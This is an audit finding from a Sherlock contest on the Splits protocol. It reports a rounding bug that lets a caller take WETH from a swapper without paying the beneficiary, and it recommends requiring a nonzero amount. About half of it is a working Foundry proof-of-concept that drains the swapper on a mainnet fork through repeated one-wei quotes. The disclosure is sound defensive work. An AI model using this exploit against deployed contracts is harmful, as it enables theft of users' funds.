Steal funds from swapper due to loss of precision

Summary

It is possible to steal funds from a swapper due to loss of precision.

Vulnerability Detail

The SwapperImpl uses the oracle to determine the amountsToBeneficiary amount. In the special case of the base token being equal to the quote token, the oracle is skipped and the amount is calculated directly [1].

Depending on the underlying tokens and the scaledOfferFactor, it is possible for this calculation to return zero resulting in the swapper transferring tokens without requiring any tokenToBeneficiary in return.

[0] https://github.com/sherlock-audit/2023-04-splits/blob/main/splits-swapper/src/SwapperImpl.sol#L231 [1] https://github.com/sherlock-audit/2023-04-splits/blob/main/splits-oracle/src/UniV3OracleImpl.sol#L258

Impact

An attacker can drain a swapper without the beneficiary receiving any value. Depending on the configuration of the Swapper, this could be economically viable.

Code Snippet

Proof of concept demonstrating the attack using WETH9 and a defaultScaledOfferFactor of 99_00_00 -

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "forge-std/Test.sol";

import "splits-tests/base.t.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
import {TokenUtils} from "splits-utils/TokenUtils.sol";

import {IUniswapV3Factory, UniV3OracleFactory} from "splits-oracle/UniV3OracleFactory.sol";
import {OracleImpl, QuotePair} from "splits-oracle/OracleImpl.sol";
import {OracleParams} from "splits-oracle/peripherals/OracleParams.sol";
import {UniV3OracleImpl} from "splits-oracle/UniV3OracleImpl.sol";

import {ISwapperFlashCallback} from "../src/interfaces/ISwapperFlashCallback.sol";
import {SwapperFactory} from "../src/SwapperFactory.sol";
import {SwapperImpl} from "../src/SwapperImpl.sol";

contract Trader is ISwapperFlashCallback, Test {
    // flash callback
    function swapperFlashCallback(address tokenToBeneficiary, uint256 amountToBeneficiary, bytes calldata data) public {
      assertEq(amountToBeneficiary, 0);
    }
}

contract Audit is BaseTest {
    using SafeTransferLib for address;

    address owner = address(0x100);
    address beneficiary = address(0x101);

    address wethWhale = address(0xF04a5cC80B1E94C69B48f5ee68a08CD2F09A7c3E);

    UniV3OracleFactory oracleFactory;
    OracleImpl oracle;
    OracleParams oracleParams;

    SwapperFactory swapperFactory;
    SwapperFactory.CreateSwapperParams createSwapperParams;

    uint256 totalEth;
    SwapperImpl public swapper;

    function setUp() override public {
        // fork mainnet
        vm.createSelectFork("mainnet");

        vm.startPrank(owner);
        // oracle
        oracleFactory = new UniV3OracleFactory({
            uniswapV3Factory_: IUniswapV3Factory(UNISWAP_V3_FACTORY),
            weth9_: WETH9
        });
        UniV3OracleImpl.InitParams memory initOracleParams = UniV3OracleImpl.InitParams({
                    owner: owner,
                    paused: false,
                    defaultFee: 5_00,
                    defaultPeriod: 30 minutes,
                    defaultScaledOfferFactor: 99_00_00,
                    pairOverrides: new UniV3OracleImpl.SetPairOverrideParams[](0)
                });
        oracle = oracleFactory.createUniV3Oracle(initOracleParams);

        oracleParams.oracle = oracle;

        swapperFactory = new SwapperFactory();
        createSwapperParams = SwapperFactory.CreateSwapperParams({
            owner: owner,
            paused: false,
            beneficiary: beneficiary,
            tokenToBeneficiary: ETH_ADDRESS,
            oracleParams: oracleParams
        });
        swapper = swapperFactory.createSwapper(createSwapperParams);
        vm.stopPrank();

        vm.label(address(swapper), "Swapper");
        vm.label(address(swapperFactory), "SwapperFactory");
        vm.label(address(oracle), "Oracle");
        vm.label(wethWhale, "WethWhale");
        vm.label(WETH9, "WETH9");
        vm.label(beneficiary, "Beneficiary");

        totalEth = 500_000 ether;

        vm.prank(wethWhale);
        WETH9.safeTransfer(address(swapper), totalEth);
    }

    function testStealFunds() external {
        Trader trader = new Trader();

        uint total = 60_000;

        OracleImpl.QuoteParams[] memory quoteParams = new OracleImpl.QuoteParams[](total);
        uint128 amount = uint128(1);
        OracleImpl.QuoteParams memory qp = OracleImpl.QuoteParams({
                quotePair: QuotePair({base: address(WETH9), quote: ETH_ADDRESS}),
                baseAmount: amount,
                data: ""
            });
        for (uint i; i < total; ++i) {
            quoteParams[i] = qp;
        }

        uint balanceBefore = ERC20(WETH9).balanceOf(address(trader));

        vm.prank(address(trader));
        swapper.flash(quoteParams, "");

        uint balanceAfter = ERC20(WETH9).balanceOf(address(trader));
        assertTrue(balanceAfter > balanceBefore);
        assertEq(balanceBefore, 0);
        assertEq(total, balanceAfter);
    }
}

Tool used

Manual Review

Recommendation

Require amountsToBeneficiary to be greater than zero.

Duplicate of #104

sherlock-audit / 2023-04-splits-judging

7siech - Steal funds from swapper due to loss of precision #137